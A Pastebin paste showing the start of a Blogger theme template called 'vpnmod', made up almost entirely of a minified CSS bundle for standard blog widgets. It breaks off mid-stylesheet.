API tools faq
paste
ghiwar

Untitled

ghiwar
Feb 28th, 2020
215
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 152.78 KB | None | 0 0
raw download clone embed print report
  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <!DOCTYPE html>
  3. <html b:css='false' b:defaultwidgetversion='1' b:layoutsVersion='3' b:responsive='true' b:templateUrl='vegeclub.xml' b:templateVersion='1.0.1' expr:dir='data:blog.languageDirection' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
  4. <head>
  5. <meta content='width=device-width, initial-scale=1' name='viewport'/>
  6. <title><data:view.title.escaped/></title>
  7. <b:include data='blog' name='all-head-content'/>
  8. <b:skin><![CDATA[
  9. /*
  10. Theme Name : vpnmod
  11. Theme Publish : 23 Januari 2019
  12. Theme Base Color : White and Black
  13. Theme Layout : 2 Column
  14. Theme Designer : Randi Wibowo
  15. URL : https://seo-v6.blogspot.com
  16. Thanks to : All supported
  17. Theme License : free versi
  18. */
  19. /* CSS bundle*/
  20. body{margin:0;padding:0 0 1px}.content-outer,.header-outer,.tabs-outer,.main-outer,.main-inner,.footer-outer,.post,.comments,.widget,.date-header,.inline-ad{position:relative;min-height:0;_position:static;_height:1%}.footer-outer{margin-bottom:-1px}.content-inner{padding:10px}.tabs-inner{padding:0 15px}.main-inner{padding:30px 0}.main-inner .column-center-inner,.main-inner .column-left-inner,.main-inner .column-right-inner{padding:0 15px}.footer-inner{padding:30px 15px}.section{margin:0 15px}.widget{margin:30px 0;_margin:0 0 10px}.section:first-child .widget:first-child{margin-top:0}.section:first-child #uds-searchControl+.widget{margin-top:0}.section:last-child .widget:last-child{margin-bottom:0}.tabs:first-child .widget{margin-bottom:0}body .navbar{height:30px;padding:0;margin:0}body .navbar .Navbar{position:absolute;z-index:10;left:0;width:100%;margin:0;padding:0;background:none;border:none}.header-inner .section{margin:0}.header-inner .widget{margin-left:30px;margin-right:30px}.header-inner .Header{margin:0}.header-inner .Header #header-inner{overflow:hidden}.header-inner .Header .titlewrapper{padding:22px 30px 0}.header-inner .Header .descriptionwrapper{padding:0 30px;margin-bottom:25px}.Header h1{margin-bottom:10px}.Header .description{margin:.5em 0 10px;padding:0 2px}a img{border:none;position:relative}h1,h2,h3,h4{margin:0;position:relative}h1 a:hover{text-decoration:none}h3 a:hover{text-decoration:none}.tabs .widget h2{display:none}.tabs .widget ul,.tabs .widget ul{margin:0;padding:0;overflow:hidden;list-style:none}.tabs .widget li,.tabs .widget li{margin:0;padding:0;float:left}.tabs .widget li a:hover{text-decoration:none}.widget{line-height:1.4}.widget ul{padding:0 0 0 1.25em;margin:0;line-height:1.2}.BlogList ul{padding:0}.BlogList li .blog-content{position:relative}.widget li,.BlogArchive #ArchiveList ul.flat li{padding:.25em 0;margin:0;text-indent:0}.widget .post-body ul{padding:0 2.5em;margin:.5em 0;line-height:1.4}.widget .post-body li{margin-bottom:.25em;padding-top:0;padding-bottom:0}.item-control{display:none}.item-control a,.item-action a{text-decoration:none !important}.widget-item-control{float:right;height:20px;margin-top:-20px;position:relative;z-index:10}.widget-item-control a{opacity:.5}.widget-item-control a:hover{opacity:1}.widget .widget-item-control a img{border:none;padding:none;background:none;-moz-box-shadow:none;-webkit-box-shadow:none;-ie-box-shadow:none;box-shadow:none}.post-body{width:100%;_overflow:hidden}.post-header,.post-footer{line-height:1.6}.post-footer-line>*{margin-right:1em}.post-footer-line>*:last-child{margin-right:0}.post-timestamp{margin-left:-1em}.post-footer-line>*:first-child{margin-left:0}.post .tr-caption-container{position:relative}.inline-ad{margin:2em 0;text-align:center;line-height:0}#comments .comment-author{padding-left:25px}.comment-body{margin:.5em 25px}.comment-footer{margin:.5em 25px 1.5em}.comment-body p{margin:0}#comments .avatar-comment-indent .comment-author{margin-left:-45px;padding-left:45px}.deleted-comment{font-style:italic;opacity:.5}.Profile img{margin:0 .75em .5em 0}.Profile .profile-datablock{margin:0 0 .5em}dt{font-weight:bold}table.section-columns td.first.columns-cell{border-left:none}.post-summary{padding-top:8px}#layout .header-outer,#layout .tabs-outer,#layout .main-outer,#layout .footer-outer{margin:5px 0}#layout .cap-top,#layout .cap-bottom{display:none}#layout .region-inner{padding:0 10px;margin:0}#layout .main-inner .column-center-inner,#layout .main-inner .column-left-inner,#layout .main-inner .column-right-inner{padding:0 5px}html{height:100%}body{min-height:100%;_height:100%;position:relative}.content{position:relative;word-wrap:break-word}.content-outer,.region-inner{min-height:0;margin:0 auto}.columns{zoom:1}.loading .columns{overflow:hidden}.columns-inner{_height:1%;min-height:0}.column-center-outer,.column-left-outer,.column-right-outer{position:relative;float:left;_display:inline;_overflow:hidden}.column-center-outer{width:100%}.column-left-outer{margin-left:-100%}.fauxcolumns{position:relative;_height:1%}.fauxcolumn-outer{position:absolute;top:0;bottom:0;height:expression(this.parentNode.offsetHeight + 'px');overflow:hidden}.fauxcolumn-outer .fauxborder-left,.fauxcolumn-outer .fauxborder-right,.fauxcolumn-inner{height:100%}.fauxcolumn-left-outer{left:0}.fauxcolumn-right-outer{right:0}.cap-top,.cap-bottom{position:relative;height:0;background-repeat:repeat-x}.cap-top .cap-left,.cap-top .cap-right,.cap-bottom .cap-left,.cap-bottom .cap-right{height:100%;background-repeat:no-repeat}.cap-top,.cap-top .cap-left{background-position:top left}.cap-bottom,.cap-bottom .cap-left{background-position:bottom left}.cap-top .cap-left,.cap-bottom .cap-left{float:left}.cap-top .cap-right{background-position:top right;float:right}.cap-bottom .cap-right{background-position:bottom right;float:right}.fauxborder-left{background-position:top left;background-repeat:repeat-y;position:relative;_height:1%}.fauxborder-right{background-position:top right;background-repeat:repeat-y;position:absolute;right:0;height:100%;_height:expression(this.parentNode.offsetHeight + 'px')}table.section-columns{border:none;table-layout:fixed;width:100%;position:relative}table.columns-2 td.columns-cell{width:50%}table.columns-3 td.columns-cell{width:33.33%}table.columns-4 td.columns-cell{width:25%}table.section-columns td.columns-cell{vertical-align:top}.body-fauxcolumns,.content-fauxcolumns{position:absolute;top:0;left:0;z-index:-1;height:100%;_height:expression(this.parentNode.offsetHeight + 'px');width:100%;overflow:hidden}.body-fauxcolumns .fauxcolumn-outer{width:100%}.content-fauxcolumns .fauxcolumn-outer{position:relative;overflow:visible;height:100%;margin:0 auto}.content-fauxcolumns .fauxcolumn-left{width:100%}section,nav,article,aside,hgroup,header,footer{display:block}time,mark{display:inline}.blog-list-container ul{padding-left:0}.blog-list-container ul li{padding-left:0;list-style:none;list-style-image:none;clear:left}.blog-list-container a{text-decoration:none}.blog-list-container a:hover{text-decoration:underline}.blog-list-container .blog-content{float:left;margin:0 0 5px 5px;text-indent:0;width:85%}.blog-list-container .blog-title{font-weight:bold;line-height:16px;margin:2px 0 0 0}.blog-list-container .blog-icon{float:left;margin-top:2px;vertical-align:top;text-indent:0;width:16px}.blog-list-container .item-content{font-size:95%;line-height:1.3em}.blog-list-container .item-thumbnail{float:left;margin:2px 5px 5px 0}.blog-list-container .item-time{font-size:95%;font-style:italic;clear:left}.blog-list-title{font-weight:bold}.blog-list-container .show-option{font-size:75%;text-align:right}.contact-form-widget{height:320;margin-left:0;max-width:250px;padding:0;padding-top:0;width:100%}.contact-form-success-message{background:#f9edbe;border:0 solid #f0c36d;bottom:0;box-shadow:0 2px 4px rgba(0,0,0,.2);color:#222;font-size:11px;line-height:19px;margin-left:0;opacity:1;position:static;text-align:center}.contact-form-error-message{background:#f9edbe;border:0 solid #f0c36d;bottom:0;box-shadow:0 2px 4px rgba(0,0,0,.2);color:#666;font-size:11px;font-weight:bold;line-height:19px;margin-left:0;opacity:1;position:static;text-align:center}.contact-form-success-message-with-border{background:#f9edbe;border:1px solid #f0c36d;bottom:0;box-shadow:0 2px 4px rgba(0,0,0,.2);color:#222;font-size:11px;line-height:19px;margin-left:0;opacity:1;position:static;text-align:center}.contact-form-error-message-with-border{background:#f9edbe;border:1px solid #f0c36d;bottom:0;box-shadow:0 2px 4px rgba(0,0,0,.2);color:#666;font-size:11px;font-weight:bold;line-height:19px;margin-left:0;opacity:1;position:static;text-align:center}.contact-form-cross{height:11px;margin:0 5px;vertical-align:-8.5%;width:11px}.contact-form-email,.contact-form-name{background:#fff;background-color:#fff;border:1px solid #d9d9d9;border-top:1px solid #c0c0c0;box-sizing:border-box;color:#333;display:inline-block;font-family:Arial,sans-serif;font-size:13px;height:24px;margin:0;margin-top:5px;padding:0;vertical-align:top}.contact-form-email-message{background:#fff;background-color:#fff;border:1px solid #d9d9d9;border-top:1px solid #c0c0c0;box-sizing:border-box;color:#333;display:inline-block;font-family:Arial,sans-serif;font-size:13px;margin:0;margin-top:5px;padding:0;vertical-align:top}.contact-form-email:hover,.contact-form-name:hover,.contact-form-email-message:hover{border:1px solid #b9b9b9;border-top:1px solid #a0a0a0;box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.contact-form-email:focus,.contact-form-name:focus,.contact-form-email-message:focus{border:1px solid #4d90fe;box-shadow:inset 0 1px 2px rgba(0,0,0,.3);outline:none}.contact-form-name,.contact-form-email,.contact-form-email-message{max-width:220px;width:100%}.contact-form-button{-webkit-border-radius:2px;-moz-border-radius:2px;-webkit-transition:all .218s;-moz-transition:all .218s;-o-transition:all .218s;-webkit-user-select:none;-moz-user-select:none;background-color:#f5f5f5;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#f1f1f1));background-image:-webkit-linear-gradient(top,#f5f5f5,#f1f1f1);background-image:-moz-linear-gradient(top,#f5f5f5,#f1f1f1);background-image:-ms-linear-gradient(top,#f5f5f5,#f1f1f1);background-image:-o-linear-gradient(top,#f5f5f5,#f1f1f1);background-image:linear-gradient(top,#f5f5f5,#f1f1f1);border:1px solid #dcdcdc;border:1px solid rgba(0,0,0,.1);border-radius:2px;color:#444;cursor:default;display:inline-block;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='#f5f5f5',EndColorStr='#f1f1f1');font-family:"Arial","Helvetica",sans-serif;font-size:11px;font-weight:bold;height:24px;line-height:24px;margin-left:0;min-width:54px;*min-width:70px;padding:0 8px;text-align:center;transition:all .218s}.contact-form-button:hover,.contact-form-button.hover{-moz-box-shadow:0 1px 1px rgba(0,0,0,.1);-moz-transition:all 0;-o-transition:all 0;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.1);-webkit-transition:all 0;background-color:#f8f8f8;background-image:-webkit-gradient(linear,left top,left bottom,from(#f8f8f8),to(#f1f1f1));background-image:-webkit-linear-gradient(top,#f8f8f8,#f1f1f1);background-image:-moz-linear-gradient(top,#f8f8f8,#f1f1f1);background-image:-ms-linear-gradient(top,#f8f8f8,#f1f1f1);background-image:-o-linear-gradient(top,#f8f8f8,#f1f1f1);background-image:linear-gradient(top,#f8f8f8,#f1f1f1);border:1px solid #c6c6c6;box-shadow:0 1px 1px rgba(0,0,0,.1);color:#222;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='#f8f8f8',EndColorStr='#f1f1f1');transition:all 0}.contact-form-button.focus,.contact-form-button.right.focus,.contact-form-button.mid.focus,.contact-form-button.left.focus{border:1px solid #4d90fe;outline:none;z-index:4 !important}.contact-form-button-submit:focus,.contact-form-button-submit.focus{-moz-box-shadow:inset 0 0 0 1px rgba(255,255,255,.5);-webkit-box-shadow:inset 0 0 0 1px rgba(255,255,255,.5);box-shadow:inset 0 0 0 1px rgba(255,255,255,.5)}.contact-form-button-submit:focus,.contact-form-button-submit.focus{border-color:#404040}.contact-form-button-submit:focus:hover,.contact-form-button-submit.focus:hover{-moz-box-shadow:inset 0 0 0 1px #fff,0 1px 1px rgba(0,0,0,.1);-webkit-box-shadow:inset 0 0 0 1px #fff,0 1px 1px rgba(0,0,0,.1);box-shadow:inset 0 0 0 1px #fff,0 1px 1px rgba(0,0,0,.1)}.contact-form-button-submit{background-color:#666;background-image:-webkit-gradient(linear,left top,left bottom,from(#777),to(#555));background-image:-webkit-linear-gradient(top,#777,#555);background-image:-moz-linear-gradient(top,#777,#555);background-image:-ms-linear-gradient(top,#777,#555);background-image:-o-linear-gradient(top,#777,#555);background-image:linear-gradient(top,#777,#555);border:1px solid #505050;color:#fff;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='#777777',EndColorStr='#555555')}.contact-form-button-submit:hover{background-color:#555;background-image:-webkit-gradient(linear,left top,left bottom,from(#666),to(#444));background-image:-webkit-linear-gradient(top,#666,#444);background-image:-moz-linear-gradient(top,#666,#444);background-image:-ms-linear-gradient(top,#666,#444);background-image:-o-linear-gradient(top,#666,#444);background-image:linear-gradient(top,#666,#444);border:1px solid #404040;color:#fff;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='#666666',EndColorStr='#444444')}.contact-form-button-submit:active,.contact-form-button-submit:focus:active,.contact-form-button-submit.focus:active{-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.3);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.3);box-shadow:inset 0 1px 2px rgba(0,0,0,.3)}.contact-form-button-submit{background-color:#4d90fe;background-image:-webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#4787ed));background-image:-webkit-linear-gradient(top,#4d90fe,#4787ed);background-image:-moz-linear-gradient(top,#4d90fe,#4787ed);background-image:-ms-linear-gradient(top,#4d90fe,#4787ed);background-image:-o-linear-gradient(top,#4d90fe,#4787ed);background-image:linear-gradient(top,#4d90fe,#4787ed);border-color:#3079ed;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='#4d90fe',EndColorStr='#4787ed')}.contact-form-button-submit:hover{background-color:#357ae8;background-image:-webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#357ae8));background-image:-webkit-linear-gradient(top,#4d90fe,#357ae8);background-image:-moz-linear-gradient(top,#4d90fe,#357ae8);background-image:-ms-linear-gradient(top,#4d90fe,#357ae8);background-image:-o-linear-gradient(top,#4d90fe,#357ae8);background-image:linear-gradient(top,#4d90fe,#357ae8);border-color:#2f5bb7;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='#4d90fe',EndColorStr='#357ae8')}.contact-form-button.disabled,.contact-form-button.disabled:hover,.contact-form-button.disabled:active{background:none;border:1px solid #f3f3f3;border:1px solid rgba(0,0,0,.05);color:#b8b8b8;cursor:default;pointer-events:none}.contact-form-button-submit.disabled,.contact-form-button-submit.disabled:hover,.contact-form-button-submit.disabled:active{-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";background-color:#666;border:1px solid #505050;color:#fff;filter:alpha(opacity=50);opacity:.5}.contact-form-button-submit.disabled,.contact-form-button-submit.disabled:hover,.contact-form-button-submit.disabled:active{background-color:#4d90fe;border-color:#3079ed}div.gsc-control{width:100%}.cse-status{color:#676767;font-size:11px;margin:10px;padding:4px}#uds-searchControl{position:relative}#uds-searchClearResults{position:absolute;top:15px;right:-3px;display:none;border-width:1px;border-style:solid;padding:0;height:9px;width:9px}#uds-searchControl .gsc-results{padding:1em 1em 0 1em;margin:0 0 2em;border-width:1px;border-style:solid;width:auto}#uds-searchControl .gsc-resultsHeader{display:none}#uds-searchControl .gsc-tabsArea{float:left;position:relative;top:1px;padding-right:10px}#uds-searchControl .gsc-tabHeader{float:left;line-height:1.7}#uds-searchControl .gsc-tabHeader.gsc-tabhActive{border-width:2px 1px 0 1px;border-style:solid;font-weight:bold}#uds-searchControl .gsc-tabHeader.gsc-tabhInactive{border-width:0;border-style:solid;padding-top:2px}#uds-searchControl .gsc-resultsbox-visible{clear:left}#uds-searchControl .gs-result .gs-title,#uds-searchControl .gsc-results .gsc-trailing-more-results{line-height:1.5em}#uds-searchControl .gs-relativePublishedDate,#uds-searchControl .gs-publishedDate{line-height:1.3em}#uds-searchControl .gs-result a.gs-visibleUrl,#uds-searchControl .gs-result .gs-visibleUrl{line-height:1.3em;font-size:95%}#uds-searchControl .gs-result .gs-snippet{margin:.25em 0;line-height:1.2em}#uds-searchControl .gs-no-results-result .gs-snippet,#uds-searchControl .gs-error-result .gs-snippet{border:none;background-color:transparent;font-style:italic}.Example{}.FollowByEmail .follow-by-email-inner{position:relative}.FollowByEmail .follow-by-email-inner span{display:block;position:relative;margin-right:74px}.FollowByEmail .follow-by-email-inner input{font-family:arial,sans-serif}.FollowByEmail .follow-by-email-inner::-webkit-input-placeholder,.FollowByEmail .follow-by-email-inner input:-moz-placeholder{font-size:13px;font-family:arial,sans-serif;color:#999}.FollowByEmail .follow-by-email-inner .follow-by-email-address{width:100%;height:22px;font-size:13px;border:1px inset}.FollowByEmail .follow-by-email-inner .follow-by-email-submit{width:60px;margin:0;margin-left:8px;border:0;border-radius:2px;-moz-border-radius:2px;background:#000 ;background:rgba(0,0,0,.6);color:#fff;cursor:pointer;font-size:13px;height:26px;z-index:0}.FollowByEmail .widget-item-control{margin-top:5px}a.follower-link{cursor:pointer}a.next-page-link{cursor:pointer}.follower{width:32px;height:32px;float:left;margin:2px}.follower img{width:32px;clip:rect(0,32px,32px,0);position:absolute}div.clear{clear:both}.label-size-1{font-size:80%;filter:alpha(80);opacity:.8}.label-size-2{font-size:90%;filter:alpha(90);opacity:.9}.label-size-3{font-size:100%}.label-size-4{font-size:120%}.label-size-5{font-size:160%}.cloud-label-widget-content{text-align:justify}.label-count{white-space:nowrap}.label-size{line-height:1.2}.quickedit{cursor:pointer}.Navbar iframe{display:block}#navbar-iframe{display:block;height:30px}.crosscol .PageList UL,.footer .PageList UL{list-style:none;margin:0;padding:0}.crosscol .PageList LI,.footer .PageList LI{list-style:none;float:left;padding-right:.75em;margin:.75em;background:none}.crosscol .PageList H2{display:none}.PageList LI A{font-weight:normal}.PageList LI.selected A{font-weight:bold;text-decoration:none}.PlusBadge{}.PlusFollowers{}.PlusOne{}.PopularPosts .item-thumbnail{float:left;margin:0 5px 5px 0}.PopularPosts .widget-content ul li{padding:.7em 0}.PopularPosts img{padding-right:.4em}.PopularPosts .item-title{padding-bottom:.2em}.default-avatar{display:none}.profile-img{float:left;margin:0 5px 5px}.profile-data{margin:0}.profile-datablock{margin:.5em 0}.profile-name-link{background:no-repeat left top;box-sizing:border-box;display:inline-block;max-width:100%;min-height:20px;padding-left:20px}.profile-textblock{margin:.5em 0}.skip-navigation{background-color:#fff;box-sizing:border-box;color:#000;display:block;height:0;left:0;line-height:50px;overflow:hidden;padding-top:0;position:fixed;text-align:center;top:0;transition:box-shadow .3s,height .3s,padding-top .3s;width:100%;z-index:900}.skip-navigation:focus{box-shadow:0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12),0 2px 4px -1px rgba(0,0,0,.2);height:50px}#main{outline:none}body{overflow-wrap:break-word;word-break:break-word;word-wrap:break-word}.hidden{display:none}.invisible{visibility:hidden}.container:after,.float-container:after{clear:both;content:"";display:table}.clearboth{clear:both}.dim-overlay{background-color:rgba(0,0,0,.54);height:100vh;left:0;position:fixed;top:0;width:100%}#sharing-dim-overlay{background-color:transparent}.main-heading{position:absolute;clip:rect(1px,1px,1px,1px);padding:0;border:0;height:1px;width:1px;overflow:hidden}.loading-spinner-large{animation:mspin-rotate 1568.63ms infinite linear;height:48px;overflow:hidden;position:absolute;width:48px;z-index:200}.loading-spinner-large>div{animation:mspin-revrot 5332ms infinite steps(4)}.loading-spinner-large>div>div{animation:mspin-singlecolor-large-film 1333ms infinite steps(81);background-size:100%;height:48px;width:3888px}.mspin-black-large>div>div,.mspin-grey_54-large>div>div{background-image:url(https://www.blogblog.com/indie/mspin_black_large.svg)}.mspin-white-large>div>div{background-image:url(https://www.blogblog.com/indie/mspin_white_large.svg)}.mspin-grey_54-large{opacity:.54}@keyframes mspin-singlecolor-large-film{from{transform:translateX(0)}to{transform:translateX(-3888px)}}@keyframes mspin-rotate{from{transform:rotate(0)}to{transform:rotate(360deg)}}@keyframes mspin-revrot{from{transform:rotate(0)}to{transform:rotate(-360deg)}}input::-ms-clear{display:none}.blogger-logo,.svg-icon-24.blogger-logo{fill:#ff9800;opacity:1}.widget.Sharing .sharing-button{display:none}.widget.Sharing .sharing-buttons li{padding:0}.widget.Sharing .sharing-buttons li span{display:none}.post-share-buttons{position:relative}.share-buttons .svg-icon-24,.centered-bottom .share-buttons .svg-icon-24{fill:#000}.sharing-open.touch-icon-button:focus .touch-icon,.sharing-open.touch-icon-button:active .touch-icon{background-color:transparent}.share-buttons{background-color:#fff;border-radius:2px;box-shadow:0 2px 2px 0 rgba(0,0,0,.14),0 3px 1px -2px rgba(0,0,0,.2),0 1px 5px 0 rgba(0,0,0,.12);color:#000;list-style:none;margin:0;padding:8px 0;position:absolute;top:-11px;min-width:200px;z-index:101}.share-buttons.hidden{display:none}.sharing-button{background:transparent;border:none;margin:0;outline:none;padding:0;cursor:pointer}.share-buttons li{margin:0;height:48px}.share-buttons li:last-child{margin-bottom:0}.share-buttons li .sharing-platform-button{box-sizing:border-box;cursor:pointer;display:block;height:100%;margin-bottom:0;padding:0 16px;position:relative;width:100%}.share-buttons li .sharing-platform-button:focus,.share-buttons li .sharing-platform-button:hover{background-color:rgba(128,128,128,.1);outline:none}.share-buttons li svg[class^="sharing-"],.share-buttons li svg[class*=" sharing-"]{position:absolute;top:10px}.share-buttons li span.sharing-platform-button,.share-buttons li span.sharing-platform-button{position:relative;top:0}.share-buttons li .platform-sharing-text{display:block;font-size:16px;line-height:48px;white-space:nowrap}.share-buttons li .platform-sharing-text{margin-$startSide:56px}.slideshow-status{color:#676767;font-size:11px;margin:10px;padding:4px}.slideshow-wrapper{display:inline-block;position:relative;width:100%}.slideshow-wrapper:after{content:'';display:block;margin-top:100%}.slideshow-spacer{margin:auto}.slideshow-container{bottom:0;left:0;position:absolute;right:0;top:0}img.gsc-branding-img-noclear{display:inline}.slideshow-container img{display:inline}.Stats .counter-wrapper{display:inline-block;font-size:24px;font-weight:bold;height:30px;line-height:30px;vertical-align:top;direction:ltr}.Stats img{margin-right:10px;vertical-align:top}.Stats .graph-counter-wrapper{color:#fff}.Stats .digit{background:url("/img/widgets/stats-flipper.png") no-repeat left !important;border:1px solid #fff;display:inline-block;height:28px;line-height:28px;margin-left:-1px;position:relative;text-align:center;width:22px}.Stats .blind-plate{border-bottom:1px solid #fff;border-top:1px solid #000;filter:alpha(opacity=65);height:0;left:0;opacity:.65;position:absolute;top:13px;width:22px}.Stats .stage-0{background-position:0 0 !important}.Stats .stage-1{background-position:-22px 0 !important}.Stats .stage-2{background-position:-44px 0 !important}.Stats .stage-3{background-position:-66px 0 !important}.widget.Subscribe{position:static}.widget.Subscribe .widget-content{zoom:1}.subscribe-feed-title{float:left}.subscribe{cursor:pointer;color:#999}.subscribe a{color:#999}.subscribe-wrapper{margin:.5em;padding:0;position:relative;zoom:1}div.subscribe{cursor:pointer;margin:0;padding:0;text-align:left;width:144px}div.subscribe div.top{filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='https://resources.blogblog.com/img/widgets/s_top.png',sizingMethod='crop');font-size:1em;padding:4px 0 1px;width:144px}html>body div.subscribe div.top{background:url(https://resources.blogblog.com/img/widgets/s_top.png) top left no-repeat}span.inner{margin:0;padding:0}div.subscribe div.top span.inner{margin:0 5px}.feed-icon{vertical-align:baseline;display:inline}div.subscribe div.bottom{filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='https://resources.blogblog.com/img/widgets/s_bottom.png',sizingMethod='crop');font-size:3px;height:3px;line-height:0}.subscribe-wrapper .expanded{position:absolute;top:0;z-index:20}html>body div.subscribe div.bottom{background:url(https://resources.blogblog.com/img/widgets/s_bottom.png) bottom left no-repeat;margin-bottom:0;padding-bottom:0;width:144px}.feed-reader-links{list-style:none;margin:10px 20px;padding:0;position:relative}.subscribe-dropdown-arrow{float:right;margin-right:6px;margin-top:4px}.feed-reader-links{list-style:none;margin:0;padding:0}a.feed-reader-link{display:block;font-weight:normal;margin:.5em;text-decoration:none;z-index:1000}.feed-reader-link img{border:0;display:inline}.Translate a.goog-te-menu-value{text-decoration:none}.Translate .goog-te-menu-value span{color:#000}.Translate .goog-te-gadget a:link.goog-logo-link{font-size:12px;font-weight:bold;color:#444;text-decoration:none}.Translate .goog-te-combo{background-color:#f5f5f5;color:#444;border:1px solid #dcdcdc;padding:6px;font-family:Arial,Helvetica,sans-serif}div.floatingPlayer_ytvb div.playerInnerBox_ytvb .player_ytvb{width:320px;height:260px}.videoBar-status{color:#676767;font-size:11px;margin:10px;padding:4px}.videoBar-container{margin:auto;text-transform:none;font-family:Arial,sans-serif;letter-spacing:normal;word-spacing:normal;clear:both}.wikipedia-search-main-container{max-width:350px}.wikipedia-search-wiki-link{vertical-align:middle;width:8%}.wikipedia-search-input{border:1px solid #d9d9d9;border-top:1px solid #c0c0c0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;height:28px;padding-left:4px;vertical-align:top;width:60%}.wikipedia-search-input:hover{border:1px solid #b9b9b9;border-top:1px solid #a0a0a0;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);-ms-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.wikipedia-search-input:focus{border:1px solid #4d90fe;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.3);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.3);-ms-box-shadow:inset 0 1px 2px rgba(0,0,0,.3);box-shadow:inset 0 1px 2px rgba(0,0,0,.3);outline:none}.wikipedia-search-form{margin:0;overflow:hidden;padding-bottom:0;padding-left:6px}.wikipedia-search-results-header{border-bottom:1px solid #ebebeb;display:none;font-weight:bold;height:19px;padding-top:3px}.wikipedia-search-button{background-color:#4d90fe;background-image:url('/img/widgets/icon_wikipedia_search.png');background-position:center;background-repeat:no-repeat;border:1px solid #3079ed;-webkit-border-radius:2px;-moz-border-radius:2px;-ms-border-radius:2px;border-radius:2px;color:transparent;font-size:11px;font-weight:bold;height:28px;text-align:center;width:38px}.wikipedia-search-button:hover{background-color:#357ae8;border:1px solid #2f5bb7;color:transparent}.wikipedia-search-button:focus{-webkit-box-shadow:inset 0 0 0 1px #fff;-moz-box-shadow:inset 0 0 0 1px #fff;-ms-box-shadow:inset 0 0 0 1px #fff;box-shadow:inset 0 0 0 1px #fff}.wikipedia-search-results{color:#dd4b39;padding-top:2px}.wikipedia-search-result-link a:link,.wikipedia-search-more a:visited,.wikipedia-search-result-link a:visited{text-decoration:none}.wikipedia-search-more a:hover,.wikipedia-search-result-link a:hover,.wikipedia-search-more a:active,.wikipedia-search-result-link a:active{text-decoration:underline}.wikipedia-search-more a:link{text-decoration:none}.wikipedia-search-main-container{padding-top:5px}.wikipedia-searchtable{position:relative;right:6px}.wikipedia-search-bar{white-space:nowrap}.wikipedia-icon{padding-bottom:5px}.wikipedia-input-box{padding:0 2px}#ArchiveList .toggle{cursor:pointer;font-family:Arial,sans-serif}#ArchiveList .toggle-open{_font-size:1.7em;line-height:.6em}#ArchiveList{text-align:left}#ArchiveList a.post-count-link,#ArchiveList a.post-count-link:link,#ArchiveList a.post-count-link:visited{text-decoration:none}#ArchiveList a.toggle,#ArchiveList a.toggle:link,#ArchiveList a.toggle:visited,#ArchiveList a.toggle:hover{color:inherit;text-decoration:none}.BlogArchive #ArchiveList ul li{background:none;list-style:none;list-style-image:none;list-style-position:outside;border-width:0;padding-left:15px;text-indent:-15px;margin:.25em 0;background-image:none}.BlogArchive #ArchiveList ul ul li{padding-left:1.2em}.BlogArchive #ArchiveList ul{margin:0;padding:0;list-style:none;list-style-image:none;border-width:0}.BlogArchive #ArchiveList ul.posts li{padding-left:1.3em}#ArchiveList .collapsed ul{display:none}.post-footer abbr{border:none}.author-profile{margin:5px 5px 0 0;overflow:hidden}.author-profile img{border:1px solid #efefef;float:left;margin-right:5px}#blog-pager-newer-link{float:left}#blog-pager-older-link{float:right}#blog-pager{margin:1em 0;text-align:center;overflow:hidden}.backlink-toggle-zippy{padding-right:11px;margin-right:.1em;cursor:pointer;cursor:hand;background:url(https://resources.blogblog.com/img/triangle_ltr.gif) no-repeat left center}.expanded-backlink .backlink-toggle-zippy{background-image:url("https://resources.blogblog.com/img/triangle_open.gif")}.collapsed-backlink .collapseable{display:none}.status-msg-wrap{font-size:110%;width:90%;margin:10px auto;position:relative}.status-msg-border{border:1px solid #000;filter:alpha(opacity=40);-moz-opacity:.4;opacity:.4;width:100%;position:relative}.status-msg-bg{background-color:#ccc;opacity:.8;filter:alpha(opacity=30);-moz-opacity:.8;width:100%;position:relative;z-index:1}.status-msg-body{text-align:center;padding:.3em 0;width:100%;position:absolute;z-index:4}.status-msg-hidden{visibility:hidden;padding:.3em 0}.status-msg-wrap a{padding-left:.4em;text-decoration:underline}.reactions-label{margin:3px 0 0 0}.reactions-label-cell{line-height:2.3em}.reactions-iframe{background:transparent;height:2.3em;width:100%;border:0}#comment-actions{background:transparent;border:0;padding:0;position:absolute;height:25px}#comments .blogger-comment-icon,.blogger-comment-icon{line-height:16px;background:url(/img/b16-rounded.gif) left no-repeat;padding-left:20px}#comments .openid-comment-icon,.openid-comment-icon{line-height:16px;background:url(/img/openid16-rounded.gif) left no-repeat;padding-left:20px}#comments .anon-comment-icon,.anon-comment-icon{line-height:16px;background:url(/img/anon16-rounded.gif) left no-repeat;padding-left:20px}.comment-form{clear:both;_width:410px}.comment-link{white-space:nowrap}.paging-control-container{float:right;margin:0 6px 0 0;font-size:80%}.unneeded-paging-control{visibility:hidden}#comments-block .avatar-image-container img{-ms-interpolation-mode:bicubic;border:1px solid #ccc;float:right}#comments-block .avatar-image-container.avatar-stock 